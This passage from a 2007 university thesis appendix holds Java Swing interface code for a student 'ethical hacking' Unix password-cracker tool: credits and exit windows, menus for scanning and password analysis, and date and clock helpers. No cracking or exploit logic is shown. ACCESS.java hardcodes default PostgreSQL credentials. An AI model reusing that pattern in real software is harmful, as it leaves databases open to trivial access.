jLabel3 = new javax.swing.JLabel(); jLabel4 = new javax.swing.JLabel(); jLabel5 = new javax.swing.JLabel(); jLabel6 = new javax.swing.JLabel(); jLabel7 = new javax.swing.JLabel(); jLabel8 = new javax.swing.JLabel(); jButton1 = new javax.swing.JButton(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("CREDITOS"); setResizable(false); jLabel1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/led titulo universidad.GIF")); jLabel2.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/led carrera cisc.GIF")); jLabel3.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/escudo_u.JPG")); jLabel4.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/led programadores.GIF")); jLabel5.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/led alicia.GIF")); jLabel6.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/led jose.GIF")); jLabel7.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/led karina.GIF")); jLabel8.setFont(new java.awt.Font("Arial Black", 0, 11)); jLabel8.setText("Hacking etico a servidores 2007 distribuido bajo licencia GPL"); jButton1.setFont(new java.awt.Font("Arial Black", 0, 12)); jButton1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); jButton1.setText("OK"); jButton1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { jButton1ActionPerformed(evt); } }); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel8)) .add(layout.createSequentialGroup()

Page 187: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

172

.add(40, 40, 40) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 338, Short.MAX_VALUE) .add(jLabel1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 338, Short.MAX_VALUE) .add(jLabel4, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 338, Short.MAX_VALUE) .add(jLabel5, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 338, Short.MAX_VALUE) .add(jLabel6, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 338, Short.MAX_VALUE) .add(jLabel7))) .add(layout.createSequentialGroup() .add(97, 97, 97) .add(jLabel3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 182, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))) .addContainerGap()) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addContainerGap(159, Short.MAX_VALUE) .add(jButton1) .add(146, 146, 146)) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel2) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 161, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel4) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(jLabel5) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel6) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel7) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jButton1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel8)) );

Page 188: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

173

pack(); }// </editor-fold> private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) { hide(); dispose(); } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new creditos().setVisible(true); } }); } private javax.swing.JButton jButton1; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JLabel jLabel6; private javax.swing.JLabel jLabel7; private javax.swing.JLabel jLabel8; }

Salir.java

public class salir extends javax.swing.JFrame { public salir() { initComponents(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); boton_salir = new javax.swing.JButton(); boton_cancelar = new javax.swing.JButton(); jLabel3 = new javax.swing.JLabel(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("SAlIR DEL SISTEMA"); setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR)); setResizable(false); jLabel1.setBackground(new java.awt.Color(204, 204, 255)); jLabel1.setFont(new java.awt.Font("Arial", 1, 18)); jLabel1.setForeground(new java.awt.Color(0, 102, 102)); jLabel1.setText("Salir del Sistema"); jLabel2.setBackground(new java.awt.Color(204, 204, 255)); jLabel2.setFont(new java.awt.Font("Arial Black", 1, 18));

Page 189: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

174

jLabel2.setForeground(new java.awt.Color(0, 0, 255)); jLabel2.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/banner_salir.GIF")); boton_salir.setFont(new java.awt.Font("Arial", 0, 10)); boton_salir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); boton_salir.setText("SI"); boton_salir.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_salirActionPerformed(evt); } }); boton_cancelar.setFont(new java.awt.Font("Arial", 0, 10)); boton_cancelar.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); boton_cancelar.setText("NO"); boton_cancelar.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_cancelarActionPerformed(evt); } }); jLabel3.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/escudo_u.JPG")); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(78, 78, 78) .add(boton_salir) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 95, Short.MAX_VALUE) .add(boton_cancelar) .add(72, 72, 72)) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addContainerGap() .add(jLabel2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addContainerGap()) .add(layout.createSequentialGroup() .add(81, 81, 81) .add(jLabel3) .addContainerGap(113, Short.MAX_VALUE)) .add(layout.createSequentialGroup() .add(109, 109, 109) .add(jLabel1)

Page 190: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

175

.addContainerGap(131, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(27, 27, 27) .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 212, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel2) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_salir) .add(boton_cancelar, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 39, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addContainerGap()) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-394)/2, (screenSize.height-394)/2, 394, 394); }// </editor-fold> private void boton_cancelarActionPerformed(java.awt.event.ActionEvent evt) { hide(); dispose(); } private void boton_salirActionPerformed(java.awt.event.ActionEvent evt) { hide(); dispose(); System.exit(0); } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new salir().setVisible(true); } }); } // Variables declaration - do not modify private javax.swing.JButton boton_cancelar; private javax.swing.JButton boton_salir; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; }

Page 191: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

176

Crea.java

import java.awt.*; import java.util.Vector; import javax.swing.*; public class Crea { public Crea() { } public static JLabel getLabel(String s) { JLabel jlabel = null; if(jlabel == null) jlabel = new JLabel(s); return jlabel; } public static TextField getTextField() { TextField textfield = null; if(textfield == null) textfield = new TextField(); return textfield; } public static JTextField getTextFieldSwing() { JTextField jtextfield = null; if(jtextfield == null) jtextfield = new JTextField(); return jtextfield; } public static TextField getTextField(int i) { TextField textfield = null; if(textfield == null) textfield = new TextField(i); return textfield; } public static JButton getJButton(String s) { JButton button = null; if(button == null) button = new JButton(s); return button; } public static JComboBox getCombo() { JComboBox jcombobox = null; if(jcombobox == null) jcombobox = new JComboBox(); return jcombobox; } public static JTable getTable(Vector vector,Vector vector1) { JTable jtable = null;

Page 192: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

177

if(jtable == null) jtable = new JTable(vector, vector1); return jtable; } public static JScrollPane getScroll() { JScrollPane jscrollpane = null; if(jscrollpane == null) jscrollpane = new JScrollPane(); return jscrollpane; } public static JMenu getMenu(String s) { JMenu jmenu = null; if(jmenu == null) jmenu = new JMenu(s); return jmenu; } public static JMenu getMenu(String s,String s1) { JMenu jmenu = null; if(jmenu == null) { jmenu = new JMenu(s); jmenu.setHorizontalTextPosition(4); jmenu.setIcon(getImage(s1)); } return jmenu; } public static JMenuItem getMenuItem(String s) { JMenuItem jmenuitem = null; if(jmenuitem == null) jmenuitem = new JMenuItem(s); return jmenuitem; } public static JMenuItem getMenuItem(String s,String s1) { JMenuItem jmenuitem = null; if(jmenuitem == null) { jmenuitem = new JMenuItem(s); jmenuitem.setHorizontalTextPosition(4); jmenuitem.setIcon(getImage(s1)); } return jmenuitem; } public static ImageIcon getImage(String s) { ImageIcon imageicon = null; if(imageicon == null) imageicon = new ImageIcon(s); return imageicon; }

Page 193: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

178

public static JLabel getLabel(ImageIcon imageicon) { JLabel jlabel = null; if(jlabel == null) jlabel = new JLabel("", imageicon, 0); return jlabel; } public static JMenuBar getBarra() { JMenuBar jmenubar = null; if(jmenubar == null) jmenubar = new JMenuBar(); return jmenubar; } public static Panel getPanel() { Panel panel = null; if(panel == null) panel = new Panel(); return panel; } public static Font getFont(String s,int i,int j) { Font font = null; if(font == null) font = new Font(s, i, j); return font; } public static JProgressBar getJProgress() { JProgressBar jprogressbar = null; if(jprogressbar == null) jprogressbar = new JProgressBar(); return jprogressbar; } }

Mensaje.java

import java.awt.*; import java.awt.event.*; import javax.swing.*; public class Mensaje extends JDialog implements MouseListener, KeyListener, WindowListener { private JButton b; private Panel p; private Font letra1; private Font letra2; private Font letra3; private Font letra4; String cadena;

Page 194: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

179

int valor; public Mensaje(JFrame jframe,String s,String s1,boolean flag,int i,int j,int k,int l,int i1) { super(jframe, s, flag); b = null; p = null; letra1 = null; letra2 = null; letra3 = null; letra4 = null; cadena = new String(s1); valor = i; inicio(); dimension(j, k, l, i1); } public void inicio() { letra1 = Crea.getFont("Courier", 1, 14); letra2 = Crea.getFont("Helvetica", 1, 24); letra3 = Crea.getFont("TimesRoman", 2, 20); letra4 = Crea.getFont("Courier", 1, 24); p = Crea.getPanel(); b = Crea.getJButton("Aceptar"); p.add(b); getContentPane().setLayout(new BorderLayout()); getContentPane().add("South", p); escucha(); } public void escucha() { addWindowListener(this); b.addMouseListener(this); b.addKeyListener(this); } public void dimension(int i,int j,int k,int l) { move(i, j); setSize(k, l); setResizable(false); } public void paint(Graphics g) { if(avisa()) { g.setFont(letra1); g.setColor(Color.black); g.drawString(cadena, 40, 45); } else { setBackground(new Color(0x6,0xA8,0xE5)); g.setFont(letra2);

Page 195: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

180

g.setColor(new Color(57,32,76)); g.drawString("UNIVERSIDAD ESTATAL DE GUAYAQUIL", 20, 70); g.setFont(letra3); g.setColor(Color.black); g.drawString("ALICIA VICTORIA ALDAZ BORJA", 110, 120); g.drawString("JOSE LUIS HIDALGO TORRES", 120, 140); g.drawString("KARINA GUISELLA VALENZUELA BURBANO", 70, 160); g.setFont(letra4); g.setColor(Color.blue); g.drawString("SEMINARIO DE GRADUACION CISC 2007", 20, 250); } } public boolean avisa() { return valor == 1; } public void mouseEntered(MouseEvent mouseevent) { } public void mousePressed(MouseEvent mouseevent) { } public void mouseReleased(MouseEvent mouseevent) { } public void mouseExited(MouseEvent mouseevent) { } public void mouseClicked(MouseEvent mouseevent) { hide(); dispose(); } public void keyPressed(KeyEvent keyevent) { } public void keyReleased(KeyEvent keyevent) { } public void keyTyped(KeyEvent keyevent) { hide(); dispose(); } public void windowOpened(WindowEvent windowevent) { } public void windowClosed(WindowEvent windowevent) { } public void windowClosing(WindowEvent windowevent) { } public void windowIconified(WindowEvent windowevent) { } public void windowDeiconified(WindowEvent windowevent) { } public void windowActivated(WindowEvent windowevent) { } public void windowDeactivated(WindowEvent windowevent) {

Page 196: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

181

} }

Msg.java

import java.awt.*; import javax.swing.*; public class Msg extends Frame { private ImageIcon fondo; private JLabel dibujo; private Button ok; public Msg(String s,String linea1, String linea2,String linea3,String linea4) { super(s); ok= new Button("OK"); fondo = new ImageIcon(linea1); dibujo = new JLabel(fondo); setLayout(new BorderLayout()); setBackground( Color.orange); Panel p1 = new Panel(); Panel p2= new Panel(); p1.setLayout(new BorderLayout()); p1.add("North",new JLabel(linea2,JLabel.CENTER)); p1.add("Center",new JLabel(linea3,JLabel.CENTER)); p1.add("South",new JLabel(linea4,JLabel.CENTER)); p2.add("South",ok); add("Center",p1); add("South",p2); add("North", dibujo); setLocation(410, 110); setResizable(false); pack(); show(); } public boolean handleEvent(Event evt) { if (evt.id==Event.WINDOW_DESTROY) { hide(); dispose(); } return super.handleEvent(evt); } public boolean action(Event e, Object o) { if( e.target== ok) {

Page 197: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

182

hide(); dispose(); } return true; } }

Fecha.java

import java.util.Date; import javax.swing.JLabel; public class Fecha { private JLabel fecha; public Fecha(JLabel jlabel) { fecha = jlabel; inicio(); } public Fecha(){ } String mes(int i) { switch(i) { case 0: // '\0' return "Enero"; case 1: // '\001' return "Febrero"; case 2: // '\002' return "Marzo"; case 3: // '\003' return "Abril"; case 4: // '\004' return "Mayo"; case 5: // '\005' return "Junio"; case 6: // '\006' return "Julio"; case 7: // '\007' return "Agosto"; case 8: // '\b' return "Septiembre"; case 9: // '\t' return "Octubre"; case 10: // '\n' return "Noviembre"; } return "Diciembre"; }

Page 198: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

183

public String dia(int i) { switch(i) { case 0: // '\0' return "Domingo"; case 1: // '\001' return "Lunes"; case 2: // '\002' return "Martes"; case 3: // '\003' return "Miercoles"; case 4: // '\004' return "Jueves"; case 5: // '\005' return "Viernes"; } return "Sabado"; } public void inicio() { Date date = new Date(); int i = date.getYear() + 1900; int j = date.getDate(); int k = date.getDay(); fecha.setText(dia(date.getDay()) + " " + Integer.toString(j) + " de " + mes(date.getMonth()) + " del " + Integer.toString(i)); } public String getFecha() { Date date = new Date(); int i = date.getYear() + 1900; int j = date.getMonth() + 1; int k = date.getDate(); return Integer.toString(k)+"/"+Integer.toString(j)+"/"+Integer.toString(i); } public static void main (String args[]) { Fecha asno = new Fecha(); asno.getFecha(); System.out.println(asno); } }

Reloj.java

import java.util.Date; import javax.swing.JLabel; class Reloj extends Thread {

Page 199: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

184

private JLabel reloj; public Reloj(JLabel jlabel) { reloj = jlabel; } public Reloj(){ } public static String getHora() { Date date = new Date(); int i = date.getHours(); int j = date.getMinutes(); int k = date.getSeconds(); return Integer.toString(i)+":"+Integer.toString(j)+":"+Integer.toString(k); } public void run() { do { Date date = new Date(); reloj.setText(date.getHours() + ":" + date.getMinutes() + " : " + date.getSeconds()); try { Thread.sleep(1000L); } catch(Exception exception) { } } while(true); } }

Access.java

import java.io.PrintStream; import java.SQL.Connection; import java.SQL.DriverManager; public class ACCESS { static Connection unaConnection =null; public ACCESS() { } public static Connection ObtenerConexion() { try { Class.forName("org.postgreSQL.Driver"); if(unaConnection == null) unaConnection = DriverManager.getConnection("jdbc:postgreSQL://127.0.0.1:5432/proyecto","postgres","postgres");

Page 200: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

185

//MUCHO OJO deperndiendo de la base a utilizar, esto puede variar, al inicio se arancan las pruebas con mySQL //fundamental poner arriba el nombre DEL ORIGEN DE DATOS!!!! } catch(Throwable throwable) { System.out.println("ERROR EN LA CONEXION:\n " + throwable); Msg s= new Msg("MENSAJE","x_johncau.gif","Lo sentimos","No se pudo establecer la coneccion","Consulte con el administrador del sistema"); } return unaConnection; } }

Pantalla_principal.java

public pantalla_principal() { initComponents(); clock = new Reloj(reloj); time = new Fecha(fecha); clock.start(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); jLabel3 = new javax.swing.JLabel(); jLabel4 = new javax.swing.JLabel(); jLabel5 = new javax.swing.JLabel(); jLabel6 = new javax.swing.JLabel(); reloj = new javax.swing.JLabel(); fecha = new javax.swing.JLabel(); botonscan = new javax.swing.JButton(); botonestadisticas = new javax.swing.JButton(); botonayuda = new javax.swing.JButton(); botonacercade = new javax.swing.JButton(); botonreportes = new javax.swing.JButton(); botonsalir = new javax.swing.JButton(); jMenuBar1 = new javax.swing.JMenuBar(); scan = new javax.swing.JMenu(); scan_ip_puertos = new javax.swing.JMenuItem(); hackeo = new javax.swing.JMenu(); hacking_etico = new javax.swing.JMenuItem(); análisis = new javax.swing.JMenu(); análisis_claves = new javax.swing.JMenuItem(); reportes = new javax.swing.JMenu();

Page 201: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

186

reportes_estadisticos = new javax.swing.JMenuItem(); estadisticas = new javax.swing.JMenu(); estadisticas_re = new javax.swing.JMenuItem(); ayuda = new javax.swing.JMenu(); ayudita = new javax.swing.JMenuItem(); acerca_de = new javax.swing.JMenu(); acerca_de_menu = new javax.swing.JMenuItem(); salir = new javax.swing.JMenu(); salida = new javax.swing.JMenuItem(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); setTitle("Cracker de Passwords Unix 2007"); setBackground(new java.awt.Color(0, 0, 51)); setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR)); jLabel1.setFont(new java.awt.Font("Serif", 3, 24)); jLabel1.setForeground(new java.awt.Color(0, 0, 204)); jLabel1.setText("Universidad de Guayaquil"); jLabel2.setFont(new java.awt.Font("Serif", 3, 24)); jLabel2.setForeground(new java.awt.Color(0, 0, 204)); jLabel2.setText("Cracker de Passwords Unix Linux"); jLabel3.setFont(new java.awt.Font("Serif", 3, 24)); jLabel3.setForeground(new java.awt.Color(0, 0, 204)); jLabel3.setText("Fedora Core 5.0"); jLabel4.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/escudo_u.JPG")); jLabel5.setFont(new java.awt.Font("Serif", 3, 18)); jLabel5.setForeground(new java.awt.Color(0, 0, 204)); jLabel5.setText("Hecho por CISC 2007"); jLabel6.setFont(new java.awt.Font("Serif", 3, 18)); jLabel6.setForeground(new java.awt.Color(0, 0, 204)); jLabel6.setText("Programa bajo licencia GPL"); reloj.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/BorraAlu.gif")); reloj.setToolTipText("hora"); fecha.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/BorraAlu.gif")); fecha.setToolTipText("fecha"); botonscan.setFont(new java.awt.Font("Arial", 1, 10)); botonscan.setForeground(new java.awt.Color(0, 102, 102)); botonscan.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); botonscan.setText("Scan"); botonscan.setToolTipText("scan"); botonscan.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonscanActionPerformed(evt); } });

Page 202: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

187

botonestadisticas.setFont(new java.awt.Font("Arial", 1, 10)); botonestadisticas.setForeground(new java.awt.Color(0, 102, 102)); botonestadisticas.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/estadisticas.gif")); botonestadisticas.setText("Estad\u00edstica"); botonestadisticas.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonestadisticasActionPerformed(evt); } }); botonayuda.setFont(new java.awt.Font("Arial", 1, 10)); botonayuda.setForeground(new java.awt.Color(0, 102, 102)); botonayuda.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); botonayuda.setText("Ayuda"); botonayuda.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonayudaActionPerformed(evt); } }); botonacercade.setFont(new java.awt.Font("Arial", 1, 10)); botonacercade.setForeground(new java.awt.Color(0, 102, 102)); botonacercade.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); botonacercade.setText("Acerca..."); botonacercade.setToolTipText("Creditos"); botonacercade.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonacercadeActionPerformed(evt); } }); botonreportes.setFont(new java.awt.Font("Arial", 1, 10)); botonreportes.setForeground(new java.awt.Color(0, 102, 102)); botonreportes.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/reportes.gif")); botonreportes.setText("Reportes"); botonreportes.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonreportesActionPerformed(evt); } }); botonsalir.setFont(new java.awt.Font("Arial", 1, 10)); botonsalir.setForeground(new java.awt.Color(0, 102, 102)); botonsalir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); botonsalir.setText("Salir"); botonsalir.setToolTipText("Salir"); botonsalir.addActionListener(new java.awt.event.ActionListener() {

Page 203: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

188

public void actionPerformed(java.awt.event.ActionEvent evt) { botonsalirActionPerformed(evt); } }); scan.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); scan.setText("Scan"); scan.setToolTipText("Con esta opci on empieza el escaneo de maquinas"); scan.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\scan.gif")); scan_ip_puertos.setText("Scan del sistema"); scan_ip_puertos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { scan_ip_puertosActionPerformed(evt); } }); scan.add(scan_ip_puertos); jMenuBar1.add(scan); hackeo.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); hackeo.setText("Hackeo"); hackeo.setToolTipText("Con esta opcion empieza la diversi\u00f3n"); hackeo.setEnabled(false); hackeo.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); hacking_etico.setText("Hackeo a lo salvaje"); hacking_etico.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { hacking_eticoActionPerformed(evt); } }); hackeo.add(hacking_etico); jMenuBar1.add(hackeo); análisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); análisis.setText("An\u00e1lisis"); análisis.setToolTipText("Análisis de seguridad del sistema"); análisis.setEnabled(false); análisis.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\análisis.gif")); análisis_claves.setText("Analiisis de datos"); análisis_claves.addActionListener(new java.awt.event.ActionListener() {

Page 204: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

189

public void actionPerformed(java.awt.event.ActionEvent evt) { análisis_clavesActionPerformed(evt); } }); análisis.add(análisis_claves); jMenuBar1.add(análisis); reportes.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/reportes.gif")); reportes.setText("Reportes"); reportes.setToolTipText("Con esta opcion se pueden visualizar los diferentes reportes"); reportes.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\start.gif")); reportes_estadisticos.setText("Reportes del sistema"); reportes_estadisticos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { reportes_estadisticosActionPerformed(evt); } }); reportes.add(reportes_estadisticos); jMenuBar1.add(reportes); estadisticas.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/estadisticas.gif")); estadisticas.setText("Estad\u00edstica"); estadisticas.setToolTipText("Esta opcion nos muestra las estadisticas del sistema"); estadisticas.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\estadisticas.gif")); estadisticas_re.setText("Estadisticas del sistema"); estadisticas_re.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { estadisticas_reActionPerformed(evt); } }); estadisticas.add(estadisticas_re); jMenuBar1.add(estadisticas); ayuda.setIcon(new 